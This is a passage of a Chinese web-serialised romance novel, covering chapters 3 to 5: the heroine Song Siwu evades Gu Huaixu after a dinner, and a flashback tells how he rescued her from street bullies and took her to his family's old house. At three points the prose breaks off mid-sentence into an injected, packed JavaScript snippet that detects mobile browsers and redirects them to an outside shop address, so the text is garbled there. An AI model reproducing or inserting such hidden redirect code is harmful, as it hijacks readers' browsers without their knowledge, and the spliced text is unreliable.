顾淮序神情微凉,单手抄进兜里,静了半刻,淡声道:“该走了。我送你。” “不用了。”宋司雾把烟头丢进附近的垃圾桶里,不带情绪地弯一下唇,“刚才多谢顾总。我还有约,先走了。” 她侧身穿过男人和墙壁之间的空隙,拢住外套,快步踏入寒风之中。 昨天雨下了一夜,地面到现在还是湿漉漉的,枯黄的梧桐叶粘黏在人行道地砖上,踩在脚下发出沙沙声响。 漫无目的地穿过几条马路,停在红绿灯前。 不是没发觉一直有人跟在身后。 那辆卡宴通体漆黑,蛰伏在夜色之中,叫她感到自己仿佛原始森林中任由窥视的被捕食者。 她脚步一转,朝附近著名的堕落街走去。 这条路的人和车都不算多,街边有不少招揽顾客的年轻男女,三三两两站在店门口抽烟。 一个穿黑色廓形衬衫的男人瞧见宋司雾落单,满面春风地上前递了张卡片。 “美女,今天周一,我们这里的模子哥698一位,过来玩一下呗。可以从晚上10点陪你玩到凌晨4点哦。” 宋司雾轻轻用食指和中指捏住一角,接过卡片看了看,“帅吗?” 男人猛点头,“包帅的,喜欢什么风格随便挑。” 男人本想请她去店里看看,路边黑色卡宴上突然下来一个人,肩宽腿长,轮廓锋利。 一瞧这架势,明显是冲他们来的。 顾淮序摔上车门,冷着脸走过来。 男人迅速扫了眼他的一身行头和背后那辆车,笑道:“哥们儿可以啊,品味不错。这车是租的吧?我说你们现在也太不厚道了,明目张胆地抢生意,人家美女都看上我们家了,你怎么还穷追不舍?” 宋司雾手指随意地把玩着卡片,嘴角扬起轻浮的笑,调侃道:“你们这行也搞竞争上岗啊。” 她没去看顾淮序,也知道此刻他脸色有多难看。 “嗐,现在内卷得厉害,同行抢生意的我们见多了。” 宋司雾点了点头,把卡片丢进包里,“今天没兴趣了,改天再来玩儿。” 男人瞥一眼顾淮序,知道没戏了。 帅到这种层次的模子哥,他们家还真没有。 宋司雾转过身,笑容未及眼底,“顾总还有事吗?没有我就先走了。” 顾淮序蹙了蹙眉,“这么晚了,你去哪。” 她手指正好碰到上衣口袋里的盒子,笑着提醒他:“还用问吗,您不是看到我刚才在便利店买的东西了吗?” 顾淮序无声地注视她片刻,风烟俱净的脸上终于露出一点别样情绪。 “司雾,不要再赌气。” 很久没有听到这个称呼,宋司雾僵了一下,眸底余潮搁浅,心脏像是被人用力握了一把,微微胀痛。 是不是就算她把心掏出来,他也只觉得她在赌气。 包里手机振动,宋司雾接起来,听到姜莱的声音:“宋宋,你还在餐厅吗,我这边解决完了,要不要过去接你?” 宋司雾弯唇,开口是一段极为流畅的德语。 “GutenAbend,Liebes.(晚上好宝贝。)” 姜莱在那头莫名其妙,看了下备注,确认号码没拨错。 “你在说什么外星语,我问你在哪儿呢?” “Ichvermissedichauch,meineLiebe.(我也想你亲爱的,我现在就过去找你。)” 姜莱:“……” 刚想问她是不是喝多了,又听见宋司雾叽里咕噜地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854900|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了几句,就把电话挂了。 宋司雾当着顾淮序的面拦了一辆出租,刚上车,姜莱的电话又打过来,问她刚才怎么回事。 宋司雾勾过安全带扣好,唇角的笑凉下去。 后视镜映刻出那人的身影,夜色中颀长的一道,疏淡清寂。 她莫名有些心烦意乱。 姜莱问:“你刚才说的是什么?外国话?” “德语。” “你好好的跟我说德语干嘛?” “不干嘛。” 姜莱不信,“你是不是碰见什么难缠的人,拿我当幌子呢?” 宋司雾不说话了。 “不会是顾淮序吧?” 宋司雾嗯了一声。 “……” 真被她猜中了。 姜莱回忆:“我记得你当年学德语还是他给你请的老师吧?” 顾淮序在德国留学多年,本硕博TUM,不可能听不懂德语。 姜莱问:“你刚说什么了?” “没什么,就说我去找你。” “就你刚才说话那撒娇语气,他肯定以为你晚上约了男人,还是德国男人。” “为什么不能是男朋友。” 姜莱一愣,“……有区别吗?” 宋司雾想一想,对他来说好像也没区别。 随后她把餐厅的经过简单说了一遍。 姜莱听完在电话那头骂:“这姓易的真是色胆包天,成日惦记□□里那点事!我还以为他是想给他爸出气,真是高看他了,下三滥的玩意儿!” 经姜莱这么一提醒,她反应过来。 刚才在便利店门口顾淮序的那句话不是在说她,而是在说易。 他大概以为在餐厅那会儿姓易的是为了投资的事而找她麻烦。 这样一想,她确实在用最大的恶意揣测他。 是而他会那样问。 “宋宋,你是不是真对顾淮序死心了?” 宋司雾沉默片刻,低声说:“我不知道。” 夜色迷醉,她额头抵着玻璃窗,呼吸在上面蒙上一层淡白色水汽。 想起今天他叫她的名字,有种不真实的、百转千回之感。 原来在他面前演戏,并不会令她高兴。 那些激烈的、刻入骨血的回忆兜头袭来,放在膝上的手又开始抑制不住地颤抖。 她攥紧手指,指尖狠狠掐进肌肤,重新夺回身体的掌控权。 - 顾淮序驱车回了趟清檀苑。 这房子自从宋司雾走后就没动过。 除了定期有人过来保洁,所有物品都被要求保持原状。 刚进门,程斯年的电话打了过来,“你人呢,怎么走了也不打声招呼?” 顾淮序几分漫不经心,“出去透气。” 程斯年气得笑了一声,“大晚上的你透哪门子气?” 顾淮序单手抽掉领带,扔在沙发上,不大耐烦,“没事挂了。” 程斯年觉出他不对劲,试探问:“我听说她回来了?” 顾淮序没作声,过了片刻,才低低应了一声。 昨天西郊公馆的事程斯年也听说了,宋司雾当着众人的面让易海怀那个老狐狸吃了瘪。 以为他是担心这事儿,便劝道:“她毕竟是你教出来的,吃不了亏。你别忘了,当年她可是凭一己之力把帝都和南城都搅得天翻地覆……” 电话那边陷入死寂。 程斯年知道自己话多了,适时住嘴。 她离开那会儿几乎声名狼藉,不仅连累整个顾氏集团股票大跌,也叫顾淮序背上倒行逆施的悖德罪名。 这事在顾淮序那儿是个忌讳,平时无人敢提。 程斯年问:“你见过她了?” “嗯。” “那她这次回来是打算留下还是……” “不清楚。” 那件事之后,宋司雾不告而别一走四年,旁人都道她忘恩负义没有良心。 局外人或许不清楚,但程斯年作为亲历的旁观者却看得明白。 “老顾,听我一句劝,事情过去这么久了,翻篇吧。” 顾淮序挂了电话,随手扔在茶几上,在客厅坐了许久。 他比任何人都希望翻篇。 但过了那么久,他却依然清楚地记得那张唇的滋味。 像淬了毒的匕首,午夜梦回的时候,一遍一遍凌迟着他,提醒着他。 从始至终,是他鬼迷心窍。 4. Chapter 04 九月,暴雨初歇。 顾淮序回老宅的路上,难得遇上了堵车。 广播提示前方高架发生车辆剐蹭,建议绕行。 红灯前停车,随手降下边窗,点了支烟,夏末初霁的凉风直往里灌。 顾淮序往斜前方瞥一眼,黄底黑框的三角形警示牌,中央两个小人,临街就是南城一中。 他少来这条路。 老宅位于东郊,环境清静,平时只有顾老爷子和照顾起居的管家居住,顾淮序每个月过去一次。 今次回去,原是应管家丁姨的一件嘱咐。 丁姨说,老爷子有个十分得力的旧部,姓宋。年纪不大,难得的是和老爷子脾气相投,一直以叔侄相称。 七年前宋氏夫妇遭遇空难,留下年仅十岁的独生女,送去舅舅家寄住。 前阵子小姑娘的舅舅获罪入狱,只剩舅妈一个亲人,老爷子担心小姑娘往后艰难,决定出钱资助。 为此,派人替小姑娘办了转学,在南城一中读高三。 丁姨托顾淮序今天接小姑娘回老宅见个面,也算了却老爷子一桩心愿。 不巧这两日丁姨告了假回去看顾生病的小孙女,原本安排的见面只好改到明天。 顾淮序本可以次日接上人再去老宅,但不想破坏每月为数不多的例行公事,还是决定今晚回去。 “跑啊,怎么不跑了?几天不见不认识我们啦?” “我看你是念书念傻了吧,转学了不起啊?” “老规矩,带钱了就赶紧拿出来,别逼我们动手。” 右侧人行道上,几个混混模样的年轻人围着一个女孩嬉笑。 一眼望去,那道身板瘦得过分,肩膀细窄,个头比别人矮上一截。 染了一头黄毛的男生拿磕在砖地上的伞尖捅了捅女孩的肩,单手扯过她头发,女孩被拖拽着往前踉跄几步,同伴顺势把背包抢了去,搜刮一遍扔在地上。 顾淮序从后视镜里看了一眼,把烟灭了。 片刻,交通灯跳转颜色,顾淮序车刚起步,下一秒便踩了急刹。 冷眼瞧去,刚才那几个少年不知何时涌到了街边,笑闹着把女孩搡到了马路中央。 女孩跌坐在车前,一身衣服浸了脏水。 纤细的胳膊挡在眼前,逆光下皮肤白得晃眼。 她不带一丝犹豫地从地上爬起来,冲上去夺过伞,朝带头欺负她的黄毛身上狠狠抡去。 黄毛表情吃痛,胡乱捞了一把,制住了凶器。 女孩顺势脱手,掉头就跑。 挟着夜晚的凉风和芳腥的泥水,人直接钻进顾淮序车里。 副驾一时遭了殃。 正值晚高峰,十字路口川流不息,后方车辆弄不清状况一味地鸣笛催促。 霸凌女孩的那伙人追到跟前,刚吃了亏的黄毛不肯罢休,也顾不上面前的车是几位数,直接冲过来拍车门,骂骂嚷嚷地要揪她下车。 女孩死死咬住下唇,僵持几秒,却听见车门落锁的声音。 顾淮序神色冷静,拉过副驾安全带从她身前越过,啪嗒一声扣上。 “坐稳了。” 引擎轰鸣,前方的人被逼得退开。 车子一瞬间驶出去,混乱和焦灼被全数抛在身后。 开了一段路,顾淮序才从后视镜里打量起今晚这位不速之客。 小姑娘年龄看着不大,不过十六七岁的光景。 巴掌脸,眼窝深凹,唇色惨白,长发被窗外灌进来的风吹得乱舞。 顾淮序把车窗升起来。 “受伤没有?” 女孩摇摇头,仿佛才回过神来,刚才打人时那股张牙舞爪的气势已然去了一半。 车载广播播报,高架已于五分钟前恢复通车,顾淮序没调头,只问:“住在哪儿,送你回去。” “我没钱。” 女孩声音有些嘶哑,像混了盐粒。 顾淮序余光瞥她一眼,声淡如水,“我不是出租。” 女孩沉默两秒,低声说:“……把我放路口就行。” 车继续开,驶过两条马路,没半点减速靠边的意思。 女孩攥着安全带,平静重申:“麻烦前面停一下车。” 顾淮序没应,目光平视前方,全然一副专心开车的样子。 女孩逐渐不安起来,视线一直盯着窗外,身体不自觉地贴近车门,一只手悄然摸上侧边按键。 大概是设置了一键升窗的功能,副驾车窗应声落下,被一次性降到最底,夜晚的风混着水汽从窗口呼呼地灌进来。 顾淮序微微蹙眉,瞥去一眼。 女孩缩在门边,如临大敌的防备姿态。 一手搭在安全带卡扣上,一手扒着车窗,表情视死如归,仿佛时刻准备跳车逃跑。 很显然,这是拿他当变态了。 顾淮序收回目光,不咸不淡地开口:“敢随便上陌生人的车,现在才知道害怕是不是有点晚了?” 女孩看向他,唇抿成一线,目光带着不确信的探寻。 顾淮序淡声道:“这段路禁停,过了就放你下去。” 女孩顺势往窗外看了一眼,路两侧确实竖着禁止停车的标识。 意识到是个误会,女孩似乎松了口气,犹豫片刻,还是报出个地址。 顾淮序抬手,在屏幕上点了导航。 给的地址路途不远,十几分钟就到。 老城区这块道路陈旧,附近商铺的房子少说也有三十年历史,周围灯光昏暗,不像是有居民区的样子。 顾淮序将车泊停在路边,“是这儿?” 女孩点了点头,拿上包下车,她好像很清楚这种层次的车门无需猛掼,只轻轻阖上。 “抱歉,把您的车弄脏了。” 女孩站在路灯光源下,身影单薄,一阵风能吹走似的。 顾淮序未作声,往她身后漆黑处扫了一眼,拿出手机,“家人电话多少,叫他出来接你。” 女孩摇头,“不用了,我自己可以。” 顾淮序也不勉强,无可无不可地“嗯”了声。 “谢谢。” 风声簌簌,几片梧桐叶子打个圈儿落到她脚边,声音也被风吹得有些散。 顾淮序点一下头算作回应。 待人走远,发动车子离开了。 - 楼道的灯坏了,楼梯间堆了很多东西,昏暗拥挤。 宋司雾摸黑掏钥匙开门,锁芯有些锈顿,反复拧几圈才成功打开。 房子里空无一人。 她换掉鞋,走进逼仄的浴室,边洗澡边把换下来的脏衣服洗了。 淋浴头的水流冲刷过手掌,有点疼,才发觉右手手腕上方被蹭破一块。 这种小伤她习以为常,快速洗完,拿着衣服去阳台晾。 宋司雾往外随意扫了眼,霓虹街景被层叠交织的楼房挡得严严实实,看不见回来的路。 次日一早,去新学校办宿舍入住。 一中的学生大部分平时住校,只有周末和假期回家。 宋司雾在原来的学校是走读,这次转入南城一中,完全是托了关系的缘故。 她心里清楚,现下的情况若无人从中斡旋,不说转学,连读完高中都困难。 领了钥匙、舍卡和校服,宋司雾沿着走廊找门牌号。 虽未正式开学,但学生们均已返校。 宿舍楼每层都在进行清扫,装衣物的纸箱、书本,杂七杂八堆在走廊里。 宋司雾提着行李,找地方下脚。 “真碍事,堆这么多东西还让不让人走路了?” 走廊左侧,两三个女生正把地上的纸箱挨个踢开,堆在上面的书呼啦啦往下掉。 对面宿舍听到动静,出来一个短发女生,看见地上狼藉一片,顿时傻了眼。她没胆子责怪,只撇撇嘴,闷声蹲下往怀里捡书。 宋司雾走近,看了眼短发女生身后的门牌号,402——就是这儿。 她两手提着包,冲另一边:“麻烦让让。” 语气不善,冰冷又古怪,对方不明所以,向后退两步。 她没再往前走,包搁在脚边,弯腰把剩下几本书捡起来,掸掸灰。 刚给她让步的女生剪了一头漂亮的公主切,好似这会儿才反应过来,拧着眉上下打量她。 宋司雾穿一件短袖衫,脖领处被洗得呈波浪状,下摆松松垮垮的,脚上一双灰球鞋,旁边搁一只蓝红白尼龙编织袋。 公主切嫌弃之心更甚,眉头紧皱,提着嗓子问:“你是谁啊?” 一旁的短发女生恍然大悟,“你是理科班的新同学?” 宋司雾点点头,把书还给她。 公主切仿佛听见了什么天方夜谭,丝毫不加掩饰地嘲弄:“原来是转校生啊,我还以为到宿舍楼来拾荒的呢。” 401的女孩子们笑作一团。 宋司雾睨了眼带头挑衅的公主切。 仿佛不经意般。 抬脚。 横在走廊中间的凳子“哐当”一声被踢倒。 周围人被这巨大动静吓了一跳。 “你有病吧!” 公主切穿着小皮鞋,差点被砸了脚,气得不行,这会儿看宋司雾跟看疯子似的。 宋司雾眼都没眨一下,提包转身进了宿舍。 短发女生愣了愣,这才反应过来,连忙跟上。 关上门,外头动静没停,乱哄哄的,话更加难听。 宋司雾径自卸下肩膀上的书包,无动于衷的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854901|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 短发女生替她着急,怕被人听见似地压低声音:“你胆子也太大了吧,明曦也敢惹。” 宋司雾偏过头,随口问:“她很厉害吗?” 短发女生点点头。 宋司雾也点头,目光落到宿舍门上,冷不丁开口:“这门结实吗?” “门?应该结实吧。” 还以为对面会破门而入,结果等了一会儿,一群人放了会儿狠话,外面就没声儿了。 短发女生瞧着她,突然扑哧一声笑出来:“我看出来了,你根本不怕她。” 宋司雾不置可否。 短发女生说她叫朱楠。 据朱楠说,带头挑衅的公主切叫明曦,也是理科班的,大小姐脾气,因为家里有点背景,在学校基本无人敢惹,401住的都是和她一个鼻孔出气的小姐妹。 朱楠抱着玩偶靠在椅子里,一边咬优酸乳的吸管,一边绘声绘色地给她描述“明大小姐”的事迹。 “你来之前,我们宿舍都是文科班的,之前睡你床位的那个女生休学了,所以空出一个。平时我们和对面基本不打交道,今天也是因为收拾宿舍才会闹出矛盾。谢谢你刚才帮我啊,明曦不好说话,这回估计是得罪上她了。” 宋司雾听完这番话,没太多反应,只不咸不淡说了句没事。 朱楠撇撇嘴,不知道她是在说帮忙没事,还是说得罪明曦没事。 下午朱楠去了图书室自习,宋司雾留在宿舍,给舅妈发了条短信。 和之前一样,没人回。 她不知道吴晓岚这半个月去做了什么,但音讯全无不是什么好事。 收拾好床铺,宋司雾换上校服,借着盥洗室的镜子打量自己。 浅蓝衬衫,胸口是月白色丝线绣的校徽,配一块精巧的银色铭牌,下身是灰色及膝半裙,褶子熨帖锋利。 果然人靠衣装。 以前那套校服又宽又肥,能塞下两个她,她照样穿了两年。 傍晚出门时正好碰见朱楠回来。 她递过奶茶,脸上挂着明媚的笑,“校门口买的,谢谢你早上帮我。” 宋司雾默了一瞬,说不用。 朱楠摸不清宋司雾的脾性,笑说:“不知道你喜欢喝什么牌子,就买了这个。纯牛乳的,你喝喝看,味道挺好的。” 宋司雾没再说什么,道了谢,正要去接,垂在身侧的右手不受控制地震颤。 她蜷紧手指,指尖掐进掌心,用另一只手接过,拎着奶茶径直出了校门。 路过垃圾桶的时候犹豫了一下,还是没扔进去。 “宋宋!” 隔了很远听见有人喊她。 循声望过去,瞧见姜莱嘴里叼着根冰棒,冲她猛挥手。 姜莱比宋司雾大一岁,也读高三,两人从小一块儿长大。 校门口的教辅书店就是姜莱爸爸开的,这会儿店里没人,她就坐在店门口打游戏。 冰棒吃完了,姜莱扬手朝几米开外的垃圾桶一掷,进了。 宋司雾走到跟前,姜莱往她手里瞧,“芋泥啵啵,厚乳换鲜奶……别人给的?” “嗯。” 姜莱瞅着她,明知故问:“我帮你喝了?” 宋司雾从小奶制品过敏,像奶茶、冰激凌这种东西向来无福消受。 姜莱拆开吸管,八卦兮兮地冲她笑,“刚来就有人献殷勤了,老实交代,哪个班的?” 宋司雾说:“不是男生送的,你放心喝。” 姜莱笑了笑,夸她出息了,男女通吃。 包里电话响,宋司雾翻出手机。 很旧的翻盖款式,银色外壳,一些部位因为磨损掉漆已经露出了原本的黑色,这种手机放现在只能接打电话和发短信,姜莱总笑她用的是“老年机”。 宋司雾接起电话听了会,答了句好就挂了。 姜莱见她这反应,凑过去瞧手机屏幕,上面是一串没有备注的号码。 宋司雾敛眸,收起手机,“我先走了。” 一中虽然临街,但正门这条路不是主干道,非上下学时间来往的车辆并不多。 这会儿天光疏淡,残阳落在街道上,梧桐树下停了辆黑色迈巴赫,车里人的轮廓隐隐绰绰。 宋司雾走近几步,司机从驾驶位上下来,恭敬唤她:“宋小姐。”随后上前为她拉开后座车门。 眸光一顿,对上一张似曾相识的脸。 眉骨高挺,冷眼不笑,点漆般的眸子看过来时仿如鹰隼,审视意味十足。 “你就是宋司雾?” 男人嗓音低磁沉稳,如浮冰下流动的暗河,被风挟着淌进耳里。 她缓慢而机械地点一下头,嗅到车内几分清冽的雪松气味。 和昨晚一样。 5. Chapter 05 宋司雾对顾家的了解大多来自父母的只言片语。 顾氏集团是南城赫赫有名的龙头企业,在全国各地也有颇多产业,宋父宋正韬年轻时为顾氏效力多年。 宋司雾幼时曾在爸爸书房里翻看过旧相册,里边夹着集团年会的合影。 其中一张是几位股东、高管携家眷围桌交谈。 坐在顾董事长身边、气质温婉出尘的美人,就是长女顾釉如。知名画家,经常全球各地办画展。 而眼前这位,应该就是顾爷爷的另一个孩子——顾淮序。 藤校毕业,与姐姐顾釉如相差十几岁。 算起来,顾淮序算是她的长辈,喊一声“叔叔”也不过分,只不过—— “顾先生。” 她早已不是谁的掌上明珠,这样的称呼似乎更合她的身份。 顾淮序不甚在意,略点一下头,示意她上车。 车厢里一股清冽克制的冷香,宋司雾不禁耸了耸鼻子。 这味道初闻时觉察不出特别,细细嗅来,倒有点“一种清孤不等闲”的意味。 身侧的男人靠在椅背上,一身衬衫西裤,外套未系扣,天光笼罩下显得他肃然的气场比昨晚稍稍柔和了一些。 宋司雾只看了一眼便收回目光。 这段时间她转学的事宜一直由顾董事长的秘书操办,方才的电话也是对方打来的,因此她理所当然认为会是那位霍秘书带她去顾宅,没想到却是顾淮序亲自来接。 昨天没注意,现在看来,他与年轻时的顾釉如的确相似,眉眼生得一样好看。 除了上车时问了她名字,倒是没追询其他,似是没认出她。 九月的傍晚依旧闷热,车里开了冷气,车窗紧闭。 风扫树叶,沙沙作响,由玻璃过滤成细微的白噪音。 宋司雾刚坐定,顾淮序就接了个电话。 车厢内安静,纵然她无意探听通话内容,依旧能隔着听筒捕捉一二。 对面是个年轻的男声,貌似是有棘手的事情拿不准,特地来问顾淮序的意思。 “审计那边怎么说?” “问题比想象中严重,赵修梁是虔业总那边的人,一直负责管理子公司的信托……这次突击审计发现光去年一年就亏了八百多万,多半是进了他自己口袋……” 顾淮序嗓音寡冷:“你看着处理,该怎么办就怎么办。” “那虔业总那边……” “有问题叫他自己来找我。” 挂了电话,车厢内重新安静下来,只有空调出风口孜孜不倦地往外喷着冷气。 东郊远离市区,开过去最快也要一个小时。 宋司雾正襟危坐,一路上盯着窗外游走的风景发呆,不敢乱动。 饶是如此,长时间坐车就反胃的毛病还是犯了。 坚持了大半段路程,胃里的不适感愈发强烈。 她自作主张将窗户降下一点缝,外头的空气钻进来一些,难受的感觉却没改善多少。 一路闭目养神的顾淮序忽然伸手,露出一截冷白腕骨,打开了中控扶手区的储物格。 “里面有薄荷糖。” 声淡如水,透着些漫不经心。 宋司雾愣了下,顺着他的话看过去,储物格里确实放着几颗糖果。 绿色包装,是个外国牌子,以前爸爸车里也常备这个。 她摸一个柚子口味的出来,撕开糖纸,糖送嘴里,强劲的薄荷气息直冲鼻腔。 “晕车?” 宋司雾轻嗯了一声,“有点儿。” 顾淮序抬手敲了敲车后座挡板,司机会意,将后侧边窗尽数打开,新鲜空气顺势涌入。 宋司雾用余光浅浅瞥去一眼,男人又恢复了刚才那副假寐的样子。 到了东郊,就离目的地不远了。 老宅地处偏僻,前后都有诺大的庭院,葱郁荫蔽。 中央砌着一方池塘,养了几尾不爱动弹的红鲤。 顾淮序领着宋司雾穿廊进屋,和丁姨打招呼。 丁姨在顾家二十几年,老宅基本由她打理。说是管家,实际算得上大半个顾家人,众人待她都很尊敬。 宋司雾跟着叫人。 丁姨颔首笑了笑,客气应道:“这位就是宋小姐吧。” 宋司雾垂眼,“您喊我名字就好。” 丁姨点点头,不由得打量起她。 小姑娘梳一把马尾,皮肤白白净净的,模样乖巧,看起来比同龄人略矮一些,穿着简单的校服,显得清爽大方。 顾淮序来了个工作电话,让丁姨去帮请一下老爷子。 丁姨应声,又招呼宋司雾:“小宋姑娘先坐,桌上有点心,饿了可以先用一些。” 宋司雾点头。 “小舅回来啦。” 一个十八九岁的男生从二楼下来,冲顾淮序打招呼。 利落的前刺短发,身上罩一件潮牌兜头卫衣,抢眼的亮橙色。 顾淮序点一下头,转身去外面接电话。 男生往皮质沙发里一坐,翘起二郎腿,瞥了眼宋司雾身上的校服,单刀直入:“你之前念的什么学校?” 宋司雾默了一瞬,如实说:“Z中。” “南城有这学校?”他听都没听过。 “你现在在几班?” “十四班。” “靠,居然跟我同班。”男生嗤一声,下了结论,“别以为你进了一中就能考上大学,差生到哪儿都没用。” 宋司雾没作声,只睇他一眼。 他问她:“你看什么?” “这不关你的事。” 男生顿时气不打一处来。 刚要发作,一道冷峻的声音突然插进来。 “连桐。” 看见顾淮序进来,男生立时住了声,从沙发上站起来,笑了笑,“小舅。” 连桐是家中独子,父母又常年不在国内,平日无拘无束惯了。 长辈之中,唯独对他这位素日不苟言笑的小舅还有几分怵。 连桐冲顾淮序龇了龇牙,说自己还有事,一溜烟上楼去了。 宋司雾立在一旁,神色淡淡的,仿佛什么都没发生。 顾老先生年逾七十,但精神矍铄,中气十足。 见到宋司雾时甚是高兴,闲聊几句,又问她今年多大了。 “下个月满十八。” 老爷子欣慰地点点头,露出和蔼的笑容,“以后就拿这儿当自己家,放假了常来,喜欢吃什么叫厨房替你准备。” 宋司雾温声答好。 丁姨提前烹了茶,碧色茶汤漾在杯盏里,搁在金丝楠木的茶盘上,淡白色的热气缓缓飘散开。 老爷子:“来,尝尝今秋新采的茶叶。” 宋司雾依言呷了一口,涩苦甘凉,味道甚是浓郁。 老爷子浅酌一口,皱了眉,“丁管家这记性是越来越像我了,泡的还是我平时的茶叶。喝不惯吧,叫他们给你换。” 宋司雾忙说:“不用了顾爷爷,我喝得惯。”又顿了顿,“这是苦丁茶吧。” 老爷子很是惊讶,“这茶偏苦,喝的人少,怎么你倒认识?” 宋司雾答得不疾不徐:“苦丁归肺经,疏风清热,明目生津,小时候在老师家补习,盛夏时会拿来清热降火。” 顾淮序挽了衣袖去洗手时,丁姨正在准备果盘,洗净的新鲜车厘子颗颗红润饱满。 余光觑见宋司雾坐在客厅沙发上,腰背挺直,浅色校服套在她身上,显得身形更加单薄。 老爷子说话她听得认真,时而附和几句,也颇有分寸。 丁姨放下果盘,走过来擦了擦手,朝客厅瞅了一眼,感叹:“这小姑娘也是可怜哦。父母去得早,还摊上那么个亲戚。听小霍说,她舅妈为了拿私立学校的好处,中考分数过线了都不让读一中,硬是在私立学校待了两年。前阵子让老先生知道了,这才转学。” 顾淮序听完微微点头,没作评价。 他看得透彻,知道丁姨这番话不是老爷子的授意,多半是出于对宋司雾境遇的同情。 毕竟老爷子和昔日下属的感情向来深厚,用不着叫旁人在他面前虚与委蛇。 没说几句,丁姨的话峰又转移到他身上。 “上次你带回来的酒,老先生没让动,我给放酒窖了。你别怪我唠叨,每次回来,吃顿饭就走,一年到头在家待的日子两只手都数得过来。你姐说得对,你和老先生是一个脾气。父子间哪有过不去的坎儿,要像这样僵到几时……” 顾淮序听着,往客厅里淡淡瞟了眼,捻起一颗车厘子,很自然地将话题扯开,“挺新鲜的,您不拿去给人尝尝?” 丁姨一拍手,这才想起果盘没上,“人老了记性也不好,光顾着跟你说话,差点把这茬儿给忘了。” 连桐的父母不在国内,这顿饭加上丁姨只有五个人,菜色大多是按宋氏夫妇家乡口味做的,精致考据。 可能受“食不言寝不语”的家规约束,一顿饭吃得安静。 晚餐结束后,老爷子让宋司雾搭顾淮序的车回学校,还嘱咐她以后常来。 今晚司机不在老宅,顾淮序先一步去开车,丁姨陪宋司雾等在院子里。 丁姨年逾半百,又是有孙辈的人,注意到宋司雾瘦得过分,晚饭用的也不多,忍不住叮嘱。 “在学校要照顾好自己,平时多吃一点,女孩子这么瘦总是不好。旁的不说,身体可是自己的。” 宋司雾点头,如数应下来。 她长了一张讨长辈喜欢的脸,说话做事也是文文静静的,虽说家道中落,谈吐举止却颇有闺秀的云淡风轻。 丁姨问她:“你现在是住校?” “是。” “先前的房子在哪儿?” “市图书馆附近。” 丁姨点头,“那是有些远,还是住校方便。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854902|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾淮序这时从玄关出来,站到两人身后,清落矜贵的一道身影,眼底染了两分疲色。 宋司雾率先注意到,心口一紧,下意识喊:“顾先生……” 丁姨回头看去,嗔了一声:“悄默声儿就出来了,吓我一跳——不是去取车?” “跟老爷子说两句话。”顾淮序略有深意地看一眼宋司雾,淡声:“走了。” 回程途中安静,一路上只听得到新风系统运行的声音。 返程比来程快,到学校不过八点。 顾淮序把车泊停在路边,转头去瞧宋司雾。 “学校手续都办完了?” “办完了。” “学的文科理科?” “理科。” 静了数秒,见他没有其他交代,道了谢,解开安全带,去拉车门。 顾淮序手搭在方向盘上,余光觑她一眼,“昨晚那些人,认识吗?” 宋司雾开门的动作一滞,没想到他会问这个。 “不认识。”她下意识说谎。 顾淮序:“以前学校的?” 宋司雾一言不发,不自觉抿唇,显然不想提。 顾淮序没问下去,伸手从后座捞出一只纸袋给她。 鼓鼓囊囊的,有点份量。 “这是?”宋司雾捧着袋子,当着他的面直接打开。 碘伏棉签、生理盐水、无菌敷贴、消炎药膏…… 角落里还有张名片,烫金工艺,没加任何修饰前缀,单印着名字和号码。 手心不自觉地收紧几分,右手掌根的伤口微微发痛。 张了张口,一时竟不知该说些什么,只挤出两个字:“……谢谢。” 校服上衣是长袖,今天她一直小心翼翼把伤藏进袖口,不知什么时候被注意到的。 顾淮序声音薄冷,好似不经意的一问:“你昨晚下车的地方好像不在市图附近?” 他目光极深,幽潭一般,仿佛轻易能将人看穿。 宋司雾轻轻抿唇。 这话的意思不言而喻。 刚才她和丁姨说话他都听见了。 昨天她故意告诉他错误的住址,下车后走了半个小时才到家。 她有心防范,自认为没有做错。 但对方的身份摆在这儿,人在屋檐下,该低头的时候还得低头。 “抱歉顾先生,我不是有意隐瞒。但昨天那种情况,我认为我做的没有问题。” 小姑娘神色笃定坦然,有理有据。 那表情好像在说:虽然我骗了你,但我不是故意的,你不能怪我。 明明有些耍赖的嫌疑,偏叫人生不起气来,可能是因为那双玻璃珠子般乌沉沉的眼睛,质地湿濛,过分纯净,仿佛空山新雨不染纤尘。 顾淮序淡声:“我没说你做的有问题。” 宋司雾:“……” 那他是什么意思? 她不明白。 听口气似乎也并未觉得她的做法有什么不妥,难道就单纯为了拆穿她? 顾淮序没再多言,只很官方地交代:“你很聪明。以后再碰到这种事,直接报警。” 说这话时他面上依旧淡淡的,看不出多余的情绪。 